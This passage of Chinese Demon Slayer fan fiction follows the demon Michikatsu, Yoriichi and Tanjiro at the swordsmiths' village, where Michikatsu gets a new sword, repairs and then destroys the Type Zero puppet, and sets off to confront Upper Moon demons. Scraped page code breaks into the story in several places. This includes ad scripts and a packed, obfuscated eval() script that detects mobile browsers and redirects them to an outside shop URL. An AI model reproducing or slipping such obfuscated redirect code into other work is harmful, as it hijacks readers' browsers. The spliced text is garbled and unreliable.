反正机会很多,继国严胜想,吃鬼作战的人,在战国时代从来没见过…… 听起来很有意思的样子。 和他身为稀血的哥哥一样有意思。 大概是脸上的表情太兴致盎然,让一旁的炭治郎打了个寒颤。他看着严胜,发誓自己每一次看到严胜大人这种表情: 都肯定会有人要倒霉。 这一次会是谁啊……灶门炭治郎硬着头皮问:“严胜大人,您很在乎玄弥吗?您是讨厌他的大哥,不死川实弥先生吗?” “嗯?”懒洋洋地泡在温泉里,将下巴微微浸入水面的严胜,扭头看了炭治郎一眼。“讨厌?” “是的,对不死川大哥,您讨厌吗?”现在的严胜大人好可爱……不行啊炭治郎不要再被那张脸迷惑了!!! “倒也说不上讨厌,”继国严胜笑眯眯的。“不过,我只是觉得他生气的样子颇为有趣,明明输得这么惨,还这么不服气……很少有人敢这么对我,我觉得很有意思。” 灶门炭治郎:“……” 灶门炭治郎:不,这就是在生气吧?! - 然而无论是否生气,炭治郎的日子总得过下去。 自打第一天泡过温泉之后,炭治郎似乎就被甘露寺蜜璃口中的“秘密武器”迷住,有几天都在到处寻找。 而继国严胜对此自然是兴致缺缺。 这世界上什么秘密武器能强过他弟弟?继国严胜觉得这种人,或者鬼,大概永远都不会存在。 他并没跟着炭治郎去找,反而去拜访了几个日轮刀锻造的地点。 而工匠们对他和缘一的到来都非常欢迎。 虽然不知道为什么工匠们在看到缘一的脸时都有些欲言又止,但他们对于锻造的执着和巧妙的技艺,倒是让严胜颇为感兴趣。 而缘一随身携带的那把从战国时期一起跟来的日轮刀,也被村里的工匠们纷纷传阅,夸张者,甚至露出了顶礼膜拜的表情: “这样的材料,这样的技艺!”那些戴着面具的工匠们,不看到脸都能感到喜极而泣,“简直就是——绝世的艺术品。” 继国严胜满意地点点头。 他虽然……嫉妒着自己弟弟的天赋和能力。 但正因如此,比起贬斥,其他人这样毫不遮掩地夸赞缘一的才华、缘一所拥有的东西的时候,继国严胜反而会感到高兴。 毕竟那可是继国缘一。 他独一无二的、被称为神明的孩子的弟弟。 就连这把日轮刀,都是继国严胜当初亲自去拜访了产物敷一族,请求他们为缘一亲手打造的日轮刀,用了最好的铁,磨炼了许久才制成。 而缘一也不辜负期望,在当时那些刀匠村工匠们无比激动的目光下,缘一舞动刀剑,从刀锋里,流露溢出如火焰灼目而燃烧的光芒。 当时他们的语气和现在这些人一样。 炭治郎听说之后,似乎也很感兴趣。他的工匠貌似正在寻找为炭治郎打造一柄好刀的方法,要严胜说,炭治郎之前用的刀确实还不够好,虽然也有炭治郎自己能力有限的问题…… 总之,这一日严胜去拜访刀匠村村长时,炭治郎也一同跟上了。 严胜原本什么也没想。 能发生什么?他对自己说,不过就是去看看这些工匠的技艺,按照战国的经验,或多或少提出一些想法,然后工匠们就会一窝蜂地去看缘一那把日轮刀,请求缘一尝试着使用一下,最后对那把刀,以及缘一惊人强大的身姿发出赞叹的声音—— 能有什么差错? 世界的重心、世人的关注,永远在缘一身上。 继国严胜早就习惯了这一点。 于是,在刀匠村村长,名为铁地河原珍铁的男人,在照样赞叹了缘一之后,忽然转过头,看着继国严胜—— “严胜大人,我可以为您锻造一把日轮刀吗?” 对着继国严胜瞬间睁大的眼睛,平静而恭敬地说:“一把只属于您的日轮刀。” “您愿意吗?” - 继国严胜刚开始还觉得这是一场侮辱。 他瞬间攥紧了手,鬼尖利的指甲掐进掌心,他沉沉地看着铁地河原珍铁,并不知道他什么意思,只觉得有杀意漫上心底:“日轮刀?” “没错。”对方好像没有察觉到继国严胜的杀气一样,居然还点了点头。 “你要给一个鬼,锻造一柄日轮刀?”继国严胜从胸膛里发出冰冷的嘲笑声,“你疯了么?” “从产物敷大人传来的信件中,我听说您自创了一种名为月之呼吸的呼吸法,并研习了与之相配的强大的剑术。听闻您平日里常用自身的血肉在战斗时凝练出刀剑,我不敢同您的血肉对比,但若是对抗鬼舞辻无惨,我相信,一把日轮刀会为您提供助力的。” “这种随时随地都能烧伤我的东西?” “这种随时随地都能为您斩断鬼的脖颈的东西。” 看着继国严胜开始抿紧的嘴唇,村长低下头去,将额头贴上自己的手背,“您应当拥有一把日轮刀。” “您是独一无二的、曾为和平的夜晚贡献了一切的,伟大的剑士。” 继国严胜几乎动弹不得。 而一旁的灶门炭治郎也不敢说话。此时不知为何,炭治郎忽然有些庆幸缘一大人在外面讲述战国的工艺了。 如果缘一大人在场的话,严胜大人绝不会露出如此动摇的表情。 “……为什么?”良久后严胜缓缓说:“你明知我曾经被鬼舞辻无惨掳走,被他变成了这样丑陋的模样。” “但您也战胜了他,为世间消尽了恶鬼。我不知道为什么那个世界的刀匠村没有为您锻造一把日轮刀,但在我看来,您毫无疑问,值得一把绝上好的刀。” 继国严胜沉默了一下。 “我有过。”最后他说。声音有些飘渺,“我在堕落成鬼之前……有过自己的日轮刀。” 但在那一次,同鬼舞辻无惨第一次对战,仅仅几个瞬间严胜就惨败他手,在不得不被鬼舞辻无惨带走、强行变成鬼之前。 他的刀就断在了无惨的血肉里。 被染上污浊腥黑的鲜血。 从此,继国严胜再也没有碰过日轮刀。 而此刻,他看着在他面前俯身的村长,那矮小的身躯里惊人的沉默的坚定的力量,以及一旁灶门炭治郎眼中的担忧和信任。 幼小的鬼叹了口气。 “我知道了。”在这个世界,继国严胜第一次微微低下了自己的头,对面前人轻轻示意,“非常感谢。” “我会收下那把日轮刀,”继国严胜说:“请为我锻造一把属于我的刀吧。” - 继国缘一很快就知道了这件事。 他看起来非常高兴,简直可以说是从炭治郎认识他以来,第一次见到缘一大人这么高兴。 就连平常严胜大人偶尔夸赞他,缘一大人都不会这么高兴。 缘一不再去给刀匠们展示自己的剑术,相反,他开始整日往村长那里跑,巴巴地看着村长替严胜锻造日轮刀——然后在看着铁逐渐被磨成刀的过程中,一点点亮起的眼睛。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >炭治郎有时候觉得,即使是亲兄弟,缘一大人对严胜大人也太过关注了。 不仅仅是一种过度的保护,这样把自己全身心都牵系在一个人身上,简直像是…… 被驯化的野兽一样。 还没来得及让炭治郎多想,继国缘一就找上门来。在一日炭治郎吃完饭过后,缘一敲敲他的门: “炭治郎君?” 炭治郎一惊。“缘一大人?”他连忙开门,“您有什么事吗?” 继国缘一露出一个浅浅的微笑。这个外表年龄上二十有余的男人,偶尔笑起来的时候,仍然会透露出一种不在人世的天真。 “我想知道那日兄长大人答应铸刀的事,你可以告诉我吗?” 炭治郎把事情说清楚了。 然后因为继国缘一大吃一惊。 “缘一大人!”他看着面前朝自己低下头的缘一,快被吓死,连忙去扶他,“您做什么呢?!” “……” “缘一大人,您快起来!”炭治郎简直头皮发麻,他去掰缘一的手臂,可惜训练时打不过的人平日里果然也打不过,那双看似平平无奇的手臂一动不动,“万一严胜大人看到怎么办!” 和严胜大人口头说的不同,他其实超级在意缘一大人的啊,如果让他看到缘一大人朝自己低头—— 炭治郎觉得自己先切腹自杀会比较好。 至少死得比较痛快。 缘一很郑重地行了一个道谢的礼仪,然后才抬起头,“谢谢你。” “……?” “能够一同劝说兄长大人同意收下日轮刀,谢谢你。” 炭治郎一时语塞,“缘一大人……” “我早早就询问过兄长大人,是否要再为他锻造一把日轮刀,我原本以为兄长大人一定会答应,却没想到,兄长大人以恶鬼不能佩戴太阳之刃的理由,毫不留情地拒绝了我……” “我当时很生气,因为兄长大人根本不是恶鬼!但看着兄长的眼睛,我却说不出话来。” “兄长大人是这么善良又温柔的人。” “……” 这又是如何得出来这种结论的? 炭治郎表情扭曲,正为克制自己的无语而努力,而缘一不为所动。 他仍然一副平静表情,只有语气显得郑重,“为了感谢炭治郎君,我想帮助你。” “?”炭治郎傻了:“您和严胜大人已经帮我良多了……” 缘一摇摇头:“任何要求都可以,我会尽力去做到的。” “缘一大人……” “除了兄长大人不同意的事之外。”继国缘一补充。 “。” 灶门炭治郎抬头,望天,深深呼吸一口气。 我到底是为什么还会对缘一大人抱有不恰当的期待…… 半晌后,炭治郎还是对着缘一露出灿烂的笑容,“谢谢您!但我想做的事,我自己都一定会做到的,缘一大人,您只需要等待我带回让鬼变成人类的好消息就好了!” “炭治郎……” 缘一大人表现出显而易见被触动的感情。 但灶门炭治郎没想到自己马上就违背了自己亲口说的话。 在上山寻找、终于找到了那个所谓的“秘密武器”,却被那个所谓的武器的长相惊呆了之后—— 灶门炭治郎左手拽着“武器”,右手拽着叫做小铁的小孩,一刻不停,疯狂地在山道上奔逃。 “缘一大人啊啊啊啊啊啊!”炭治郎哀嚎,“救命啊!!!” 他身后,一个黑色长发,薄荷色发尾的少年正一脸镇定地疾速追上炭治郎的背影。 “把钥匙给我……” “缘一大人——” 两道声音和破门声同时响起,在时透无一郎即将抓住炭治郎衣领的时候,一道清淡的孩童的声音在屋内响起。 “这是在做什么?” 继国严胜抬起头,同炭治郎紧紧抓着的人偶对上了视线。 他六只金色的鬼瞳微微眯了起来。 “……缘一?” 18.零式 “这个村子里有趣的事情很多啊。” 继国严胜正立在屋内。 他垂眸,看了看一旁呆滞的炭治郎,“会吃鬼的少年,胆敢为鬼铸刀的人类,看起来似乎认识缘一的刀匠们……和缘一长相一模一样的东西。” “还有你。” 继国严胜居高临下,低头,与自己身下踩着的少年对视。他看着那张清秀的小脸,微微眯起了眼睛: “我记得你……鬼杀队最年轻的柱。” 时透无一郎死死盯着继国严胜。 他心里惊愕。 虽然年纪尚轻,作为柱,时透的经验几乎是最少的。 但是从执刀两月起就成为柱的天赋不会骗人,时透的能力,即使是面对其他柱,也绝不会有瞬间被打倒的时刻。 而这只鬼……时透凝重地瞪着他: 那日在柱会议上,虽然目睹了这只鬼击败不死川,而后又得知对方活捉了猗窝座。 可他的弟弟,那个叫继国缘一的男人显然要耀眼得多,时透的注意力大多都集中在继国缘一身上,而对这只鬼,除了觉得新奇之外,并无多少敬畏。 但此刻真的在瞬息间被人打倒、踩在身下的感觉—— 很强。 匍匐在地上的时透无一郎,额角落下一滴冷汗。 非常强。 如果这只鬼想的话,一分钟内就可以将自己杀死。 而鬼似乎并没有想杀死他的意思。 反之,继国严胜只是笼手站在他身上,在看了那人偶几眼后,就将目光落到时透身上。 空气寂静。 在继国严胜打量时透无一郎的半分钟里,没有人敢说话。 就连一旁早已和继国兄弟混熟、深谙如何顺毛摸继国严胜的灶门炭治郎,此时内心都冷汗直冒。 他仿佛回到了第一次见到继国严胜的时刻。 看到那只外貌可爱、看似毫无攻击性的幼小的鬼,从箱子里爬出来—— 然后毫不犹豫地击败不死川实弥的那一刻。 灶门炭治郎觉得自己难以呼吸。 而打破这僵局的,是继国严胜的一句话。 他微微歪了歪头,看着时透无一郎,若有所思: “你的身上……”继国严胜说:“有继国家的血。” “……” “?” 所有人都傻了。 - 时透无一郎呆呆地坐着。 他看着面前,正行云流水煮茶、一言一行举止动作都极具有大家风范的继国严胜,在旁边笑着吃点心的灶门炭治郎,还有心疼地抚摸着缘一零式的小铁。 ……这是发生了什么? 在继国严胜说出了那句石破天惊的话以后,时透无一郎有几秒钟都没反应过来: 什么东西? 然后他被继国严胜毫不留情地挑了起来: “站起来。” 鬼因为身高差仰视他,而眼神和气势却皆高高在上,“继国家的后人,无论你是以什么理由,想要强行夺去这个和缘一长相相似的人偶……” “若你能在我手下撑下三合而不倒,我就不追究你的冒犯,如何?” 时透无一郎猝然站起。 他握着自己的日轮刀,紧紧盯着对面幼小的继国严胜。三合,他在心里默想,很有希望,只需要抓住破绽—— 砰。 时透无一郎倒在地上。 ……他茫然地看着天花板,以及一旁,继国严胜冰冷的金瞳。 “站起来。”继国严胜的声音铁一样寒冷,“你这样还配当继国家的子嗣吗?” 谁稀罕当你们这所谓继国家的后代——时透无一郎咬着牙站起来,重新摆好架势:然后又跌落在地上。 直到半个时辰过去,时透无一郎才勉强接下三招。 然后被继国严胜按在地上,要求一起喝茶。 “给,”继国严胜推过来一个小小的茶杯,“喝。” “……”时透无一郎默默拿起杯子。 还挺好喝…… 而灶门炭治郎此时凑过来。这位莫名其妙自来熟的少年,不知道为什么,好像和时透无一郎建立起一种惺惺相惜的同情,“你没事吧?” 时透看他一眼。 “严胜大人平日里没有这么严厉的,今日那么生气,大概是因为你将零式伤到了吧。” “……他和零式又不认识。” “说是这么说……”炭治郎嘀咕,“但你没发现吗?这个人偶的脸,和缘一大人一模一样啊!” “……”时透无一郎撇过脸去。 他并不想承认自己其实没怎么注意别人的长相…… “严胜大人平日里不说,但其实,他很在乎缘一大人的,虽然只是个人偶,但你这么对零式,严胜大人一定会生气的。说到底,时透君怎么可以强行启动零式呢,小铁都说不愿意了!” 时透无一郎此刻并不想说话。 但炭治郎貌似也并不想放过他。他还在喋喋不休地问时透: “还有,时透君,你居然是严胜大人的后代吗?难怪你这么小就这么厉害!我其实早就想说了,你平日里不说话的样子,和缘一大人真的有些像……我之前还以为是天才的共性,没想到你们居然有关系。” “才没有关系。”时透无一郎冷声道,“我只是樵夫的儿子,即使先祖是传奇的剑士,那也与我没有关系。” 炭治郎愣了。 而一旁,原本在倾听小铁解释缘一来历的继国严胜,也缓缓转过了头。 “樵夫……?” 完了。灶门炭治郎头皮发麻,严胜大人要生气了。 幼鬼端坐在地,即使是这样的外貌和身型,行立坐卧的样子也饱含战国时代名誉大家的风度。 他就用这种举手投足自带尊贵的姿态,居高临下的眼神,看了时透无一郎一眼:“你说你是樵夫的孩子?” 时透强撑着点点头。 “不仅丢失了姓氏,后代也忘记了自己的起源,完全放弃了武士的身份。”继国严胜叹了口气,“我原本对这个世界的自己没什么意见,就算叫做黑死牟那么难听的名字,也觉得情有可原。” “不过现在,我稍微有点生气了。” “……”炭治郎撇开眼神:现在才有点生气? 那之前,毫不犹豫地斩断了猗窝座的四肢,看着炭治郎他们杀死了堕姬兄妹,到现在还定期去燃烧猗窝座的伤口—— 这还不叫很生气??? 严胜大人,真的好可怕…… “原本我只想给你们提供一点帮助,必要时才出手,现在,倒是有些想立刻杀死无惨了。”继国严胜继续说,但话音未落,门忽然传出被拉开的声音。 外出拜访村长,去看今日为严胜锻造的日轮刀的进度的继国缘一,看着屋内的情形,顿时愣在原地: 他与继国严胜身后的缘一零式对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220047|138193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视: “兄长大人……”缘一发出迟疑的声音,“这是,什么?” - 继国缘一的脸上是世界崩塌下来的表情。 他坐在茶案的一角,严胜的身旁,眼神在严胜身上徘徊。 然后顺着继国严胜的眼神,落到严胜旁的缘一零式时。 ……然后,不可避免地看见继国严胜放在缘一零式脸上的手。 “……兄长大人,您这是在做什么?” “我在想如何修理他。” “为什么要修理他?” 严胜惊诧地看了缘一一眼,“当然要修理。这可是仿造你做出来的人偶,就这么放在这里么?” 我不觉得放在这里有什么不对——继国缘一死死盯着严胜的手,那手指正温柔地抚摸着零式的脸,以及继国严胜的眼神,那眼睛正心疼地看着零式露出来的眼珠—— 明明兄长大人平日里只会抚摸我的头发! 为什么这个人偶能被兄长大人摸脸…… 继国缘一不知道自己的不甘心已经明显到快溢出来了,炭治郎和时透都在一旁沉默,颇有一点不敢说话的意味。 好可怕的兄弟矛盾…… 好可怕的占有欲…… 灶门炭治郎吞了口口水。出于和缘一大人平日里的良好交情,他还是决定替缘一说话,“严胜大人,这个零式,我和时透君想借用来训练。” “训练?” “对,按照小铁的说法,零式身上有六只手,可以模拟缘一大人的剑术,虽然我想恐怕也有缺漏之处,但对于现在的我来说,也是很好的秘密武器了。” 缘一赞同地点点头。他看了眼炭治郎,心想炭治郎君真的是善良的好孩子—— “是么,你们想用这个人偶来训练啊。”继国严胜的手和视线终于从零式身上挪开了,他看了炭治郎和时透一眼,又看了看一旁,正目露期待的缘一。 然后他笑了。 用善逸的话来讲,“恶鬼似的吓死人的笑容”。 “反正正主在这里,为什么还要去找个伪物呢?”继国严胜站了起来,俯视着坐着的几人,“要训练的话,找最强的人训练不好么?” 缘一的表情变了。他倏忽站起来:“兄长大人……” “不是想训练吗?现在,我同意给你们机会了。” 继国严胜打断了缘一。 然后他说: “缘一,我允许你同他们对练。” 空气猝然安静下去。 简直落针可闻。 炭治郎目瞪口呆,他简直不敢看缘一的表情,而一旁居然还传来认同的声音。 “我愿意,”时透无一郎用一张和继国缘一一模一样的面无表情的脸,答应道,“我很希望和缘一大人对战。” “……”灶门炭治郎更不敢去看继国缘一的表情了。 他在心里为时透无一郎默哀。 然而继国严胜说出来的话,继国缘一是从不会反驳的。他呆呆地愣在那里,然后许久,都未能等到严胜改口时。 被神明爱着的神之子、世界的中心、太阳和日光的化身,低下了他从不低下的头颅。 “……我知道了,”继国缘一的声音低落得快能滴出水来,“我会陪他们训练的。那,兄长大人……” “我会寻找修复零式的方法。”严胜说。 咔。 炭治郎感觉自己听到了缘一大人心碎的声音。 19.占有欲 炭治郎最近的日子很不好过。 而且不是他一个人不好过。 他看着站在自己对面,拿着刀,正一脸魂不守舍的继国缘一。 又看了看正半跪在自己身旁,喘着气,勉强用刀撑着自己,在努力用呼吸恢复体力的时透无一郎。 再顺着继国缘一的目光—— 看到正坐在缘一零式身边,抬头,和零式说着什么的继国严胜。 灶门炭治郎,在自己坎坷但始终积极向上的人生中,极其少有的: 感到一种莫名的绝望。 事情的起因当然是因为严胜大人。 自打那一日,严胜大人遇到了零式,并且要求缘一代替零式,去给炭治郎和时透当秘密武器,而自己带走零式之后。 继国缘一每天就跟塌了一样。 他魂不守舍地来,又魂不守舍地走,即使是在和炭治郎和时透对打的时候,眼神也总是若有似无地望向严胜的方向。 ……虽然即使分心到这种地步,炭治郎和时透也打不过缘一就是了。 而继国严胜一反平日里对弟弟的关注和掌控,对那个零式,可以说是相当看顾。 他每日都带着零式,走访不同的刀匠,询问各家是否有什么修复机关的方法。 此前,小铁是因为年龄尚幼,而又难以一户户上门请教,所以修复零式的进展缓慢,而严胜一出手,就立刻研究出了不少修复零式的方法。 而严胜就在忙碌这些事情。 若仅仅是修东西,继国缘一肯定就算了:他虽然很喜欢兄长,但到底是讲理之人,无论出于什么原因,兄长也是因为零式与他相似的脸,才愿意修好零式,所以他应该包容一点…… “咔” 在第一次看到严胜给零式梳头的时候,继国缘一手里捏着的木剑断了。 坐在旁边的灶门炭治郎浑身一抖,闻到了非常愤怒的味道。他战战兢兢地扭头,看了面无表情的缘一一眼: 这不是超级生气吗?! 炭治郎觉得自己也要跟着碎了。 由于零式长久没有得到修复,身上的衣着和头发也常常凌乱,继国严胜不知为何,居然还亲自动手,拿木梳给零式梳头,那头毛茸茸乱糟糟的长发和缘一的简直一模一样,严胜就用不知道哪里来的耐心,一缕缕给零式梳整齐,重新系成一个干净英俊的发束,垂在脑后—— 他甚至在梳完后,还伸手摸了摸零式的头。 炭治郎是真不敢看缘一大人了。 而除了摸头和梳头发以外,严胜还整日与零式呆在一起。 他偶尔会与零式聊天,声音不大,炭治郎听不见,但看身边继国缘一的表情…… 那大概聊得挺开心的。 有时候说到深了,还能听到一点严胜大人隐隐约约的笑声,明明零式不能说话,兄长大人到底为什么这么开心?缘一这么问炭治郎。 炭治郎当时看看天,看看地,就是不知道怎么回答。 他总不能回答:或许严胜大人就是喜欢不说话的缘一大人吧…… 缘一大人已经很可怜了,炭治郎觉得自己还是不能那么狠心。 而时透无一郎就没有这么好的心肠了。他观察了严胜几日,然后冷酷地对继国缘一说: “他大概是嫌你烦,”时透无一郎用那种波澜不惊的语气说最狠的话语,“所以跟个人偶说话,都不和你说吧。” 咔擦。 炭治郎感觉自己又听到了缘一大人心碎的声音。 然后那一天和缘一大人的对练,总感觉缘一大人下手比往日用力…… 那一晚,他和时透都差点是爬回房间的。 但这些都不是最致命的。 什么梳头、摸头、聊天……这些缘一虽然很嫉妒,很难过,但他还都能努力去忍受。 真正让继国缘一想上手把那个人偶给敲碎的,是他们开始训练之后的第三四天。 当时他们对练到一半,炭治郎对火之神神乐的掌握有了新的进展,缘一就难得多花几分心思,仔细讲解了一下,而时透无一郎也很感兴趣,一定要学,缘一就从头到尾,好好教了一遍。 然后就没有去看严胜的方向半个小时。 就这么半个小时。 继国严胜就不见了。 当非常着急、用出了斩鬼都不一定用得出来的速度,继国缘一跑遍了整个村子,最后在一处僻静的、用来精心锻刀的小屋,发现了严胜的身影。 以及这几日与严胜形影不离的缘一零式。 当打开门的瞬间,继国缘一就想挥起刀来。他当时已经拔刀出鞘,要不是匆匆赶来的炭治郎大喊着“缘一大人您冷静啊”,抓住他的手,缘一说不定真的就要下手了: 他看见他的兄长大人,小小一只,安安静静的。 缩在零式的怀里睡觉。 睡得很熟。就算缘一和炭治郎那么大的动静,他也只是动了一下,微微睁开眼睛,金色的鬼瞳一片迷茫,半晌,才伸手揉了揉脸: “……缘一?” 继国缘一当时就想哐的砍了零式,然后自己把这么可爱的兄长大人抱进怀里。 但严胜没给他这个机会。 他对着缘一笑了下——那种缘一很熟悉,平日里会为兄长大人的笑容感到无比高兴,今日却不知为何无法平息愤怒的笑容——然后柔软地问缘一: “有什么事吗?” “……兄长大人为什么睡在这里?” “我听说,这间屋子有一位很厉害的刀匠,擅长机关,我想他或许能够修复零式,所以前来拜访。” “但现在是白天……” “我调整了一下,让零式学会了背箱子。缘一,或许你忙的时候,我可以让零式背着我……” 嘣。 继国缘一听到自己脑内理智绷断的声音。当反应过来的时候,他已经死死掐着零式的脖颈,让人偶发出机关错位的声音,而一旁的兄长大人睁大了眼睛,抓着缘一的手,一叠声地喊他的名字:“缘一!” “……”缘一如梦初醒地放开手。 “兄长大人,”他用犯错了的大狗的声音对严胜道歉,“对不起,缘一不是故意的……但缘一不可能抛下兄长大人的。” “不是抛下。”严胜说。 “也不可能没有给兄长大人的时间。” “……”最后严胜妥协了,他钻进箱子里,让炭治郎将零式带回去,而自己则被缘一背到了背上。 在感到缘一松懈下去的开心,没有人看得见的箱子里。 继国严胜微微翘起了嘴角。 真好骗,他在心里想,缘一,你真是个…… 很好掌控的、最强大的工具。 - 几天奔波,严胜找到了修复零式的方法。 他请人来修好缘一零式的脸,除去了六只手中日轮刀上的铁锈,将一些卡顿的关节调整灵活。 当看到修复好的、被清理一新的缘一零式,小铁差点落下泪来。 “太感谢您了……”小铁哽咽着说:“如果我父亲能看见,他一定一定会非常高兴的!” 继国严胜:“你制造出零式的先祖值得尊敬,能够想出用六只手仿造缘一,是个不错的刀匠。” 小铁听得眼泪汪汪。 而继国严胜也将饶有兴致的眼神转回缘一零式身上。 他的手心里转动着零式的钥匙。 这几日,严胜和零式相处,除了想戏弄一下自己最近开心过头的弟弟之外…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233013|138193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他对这仿造缘一的人偶本身,也或多或少有好奇。 从外貌上,零式和缘一别无二致,就连头发的手感和五官的分布都一模一样。 ——那实力上呢? 尽管有六只手,但严胜心知肚明:像他弟弟这样神之子般的存在,就算是有六十只手,也恐怕无法复刻缘一的实力。 然而,严胜还是忍不住心痒。对于缘一强大的追求,几乎是刻在了严胜的骨血里,即使他早早知道自己和缘一不是一个层次的存在,缘一能够将无惨切割成一千八百块,而自己初见只能被无惨钉在地上…… 这就是最大的差别。 但是,严胜垂眸,看了一眼被修复完整的零式。 即使是见到了再多次,即使再明白自己和缘一的差距…… 在看到和缘一相似的东西的时候,还是忍不住,从心底里,升起磅礴的战意啊。 继国严胜笑了。他伸手,将钥匙插进零式的后颈里。 “来吧,”幼小的鬼拔刀出鞘,那是一柄会浮现出浅淡银色的日轮刀,由刀匠村村长耗日良久才铸造出来的杀鬼兵器,“让我看看,你是否比得上半点缘一!” 零式机关启动。 和继国缘一一模一样的人偶,慢慢抬起了头。 - 几个呼吸后。 昏暗纯净的夜色下,一抹月轮闪过。那空气中的月色皎皎雪白,宛如世间最清澈的一抹光辉。人间不可见的一点雪色。 继国严胜挥刀向后,他金瞳在夜晚中发亮,像最璀璨的黄金,能够捕捉到敌人最轻微的举动。幼小的鬼的身躯让他变得更为迅速,在空中,他几乎只留下一抹残影。 一、二、三、四、五、六…… 一刀。 继国严胜落到了地上。 而炭治郎就是在此时进入到院子中。他极其惊愕地睁大眼睛。 看着背对着零式,微低着头,任由月色洒落到自己身上发间的继国严胜。 看着鬼垂头。然后,收刀入鞘。 “不过如此。” 炭治郎听见严胜清淡的声音。 下一秒,他看见零式六只手臂应声齐断,而连接着头颅的脖颈,也像被拗断的木枝—— 哐。铛。 瞬间折断。 灶门炭治郎震撼地看着眼前的一切。 纵使所有人都知道,零式比不上缘一大人,但好歹也是被完全修复过的六只手的战斗人偶……仅仅是那么短的时间! 那么短的时间,脖颈和手臂,居然全部被斩断。 而继国严胜并不在意似的。 仿佛他从未给零式梳过发鬓,说过话,待在对方怀里沉睡过。 他只是微微抬起头。让月光照耀到他的脸上。 “这等伪物,”他看着月亮,那折射着太阳的星辰,“不及缘一万分之一。” 灶门炭治郎忍不住后退一步。 他忽然产生了一个毛骨悚然、足以让后背发凉的想法: 对曾经被掳走,被迫变成鬼的哥哥,缘一大人有着过度的保护的欲.望…… 那么对于严胜大人呢? 对于日夜看着神之子耀眼的光辉,望着继国缘一不属于这个世间的才华,感到嫉妒、不甘、仰望、渴求的继国严胜。 面对继国缘一这样的兄弟,他会是什么心情呢? 对上继国严胜的眼睛,炭治郎忽然得到了一个答案。他听到严胜笑了,带着笑音,幼鬼喊他:“炭治郎。” 炭治郎茫然地抬起头。 “不要告诉缘一。” “……” 他打了个寒颤。 在继国严胜含笑的金色的眼睛中,灶门炭治郎看到了让人颤抖的—— 占有欲。 20.绑架 缘一是他珍贵的宝物。 在很早的时候,继国严胜就认识到了这一点。 看着他的弟弟,继国家的继承人,这位前无古人后无来者的不世出的天才,在严胜面前,抬着头,睁着眼,手心里小心翼翼地捧着粗糙的竹子做的短笛。 用孺慕又喜爱的声音呼唤他,“兄长大人”,喊严胜如呼喊神明的时候。 继国严胜就深深地明白了这一点: 他这辈子都无法成为这个国家第一的武士。 但是,他可以成为这个国家第一名的武士的主人。 继国严胜想了很久,然后决定去这么做了。他不可否认这一行径的卑劣,身为双生子中更无能的那个,他居然没有感到卑微和抱歉,反而嫉妒着,憎恨着。面对继国缘一那耀眼到宛如日光的才华,以及缘一对那钻石般的天赋毫不在意的态度。 继国严胜甚至觉得憎恶。 但没关系,他对自己说,缘一不在乎没关系,自己永远比不上缘一也没关系,缘一是继承人,而自己只能是被当作禁忌的孩子也没关系…… 只要有他这个兄长在。 这个无能的,但恰好拥有着缘一的在意和渴望的兄长大人在。 继国严胜想获得的东西,通通都可以得到。 此时,继国严胜在月光下,看着炭治郎惊愕的表情,微微露出了一个笑容: “好像有客人来了,”继国严胜说:“一只、两只……排行上弦的鬼,出现在一百里之外。” “炭治郎,你要去剿灭他们吗?” - 在看着炭治郎奔向自己所指的方向之后,继国严胜想了想,用血鬼术造出了一把刀。 他朝另一个方向奔去。 从气息变化上看,这两只鬼应当是还要两三个时辰才会出动,炭治郎现在过去,正好能打个措手不及。 但继国严胜自己当然是不需要钻这个空子的。 他将其中一只分给炭治郎,而另一只,则由继国严胜来解决。 稍微玩玩好了。严胜想,和零式的对战,还是让他有些急躁。继国严胜不喜欢这种被继国缘一相关的事情影响的感觉,他决定挑一只鬼,慰藉自己烦躁的心情。 ——而上弦之五,名为玉壶的鬼,就倒霉地沦为这个对象。 当时玉壶正在用血鬼术批量生产分身。 为了一举歼灭刀匠村,玉壶和半天狗商量好了对策,半天狗负责高强战力,而玉壶负责杀死刀匠。 “我也想去跟那些柱玩玩啊,”玉壶对此当然很不满意,他一边造壶,一边不爽地碎碎念,“半天狗那混蛋,仗着顺序比我高,就抢了杀死柱的好活计……” 明明是他玉壶发现的这个消息! 越想越不爽,玉壶手中捏歪了一个壶,正当他气得要摔东西的时候。 一道轻淡的,平静的声音,在他背后响了起来: “上弦之五?”那声音居高临下,即使看到玉壶,也没有半点惊愕或恐惧……甚至还有点失望: “比堕姬只排高一位?……真无聊。” 玉壶顿住了。 然后猛地转过来: “你是什么人?!”他尖叫出声:“居然敢如此污蔑本玉壶大人——黑死牟大人?!” 出现在月色下的,正是脸上有六只金色鬼瞳的幼鬼。他站立在高高的树枝上,手轻轻按在刀柄上,那刀上布满了眼睛形状的花纹,闪烁着血肉般不祥的色泽。 那张脸——玉壶呆呆地想——和黑死牟、那位素来傲慢冷漠,不知道跟随无惨大人多少年的上弦之一完全一样! 但…… “黑死牟大人?”玉壶不解地问,“您怎么变成这么幼小的模样?” 虽然鬼的实力并不会因为拟态而改变,但玉壶没记错的话,黑死牟大人明明是用剑的。 他看了看那柄和幼鬼几乎一样高的剑,玉壶沉默。 ……这是什么特殊的癖好吗? 